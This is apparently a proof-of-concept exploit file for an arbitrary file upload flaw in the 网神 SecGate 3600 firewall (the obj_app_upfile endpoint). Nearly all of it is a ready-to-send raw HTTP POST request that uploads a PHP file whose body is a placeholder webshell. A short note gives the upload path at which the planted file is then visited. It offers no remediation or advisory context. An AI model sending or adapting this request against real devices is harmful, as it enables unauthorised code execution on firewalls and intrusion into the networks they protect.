网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞 POC.txt

默认上传路径 /secgate/webui/attachements/ ， 访问 attachements/xxx.php 文件

POST /?g=obj_app_upfile HTTP/1.1
Host: x.x.x.x
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
Content-Type: text/plain

<?php php马?>

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--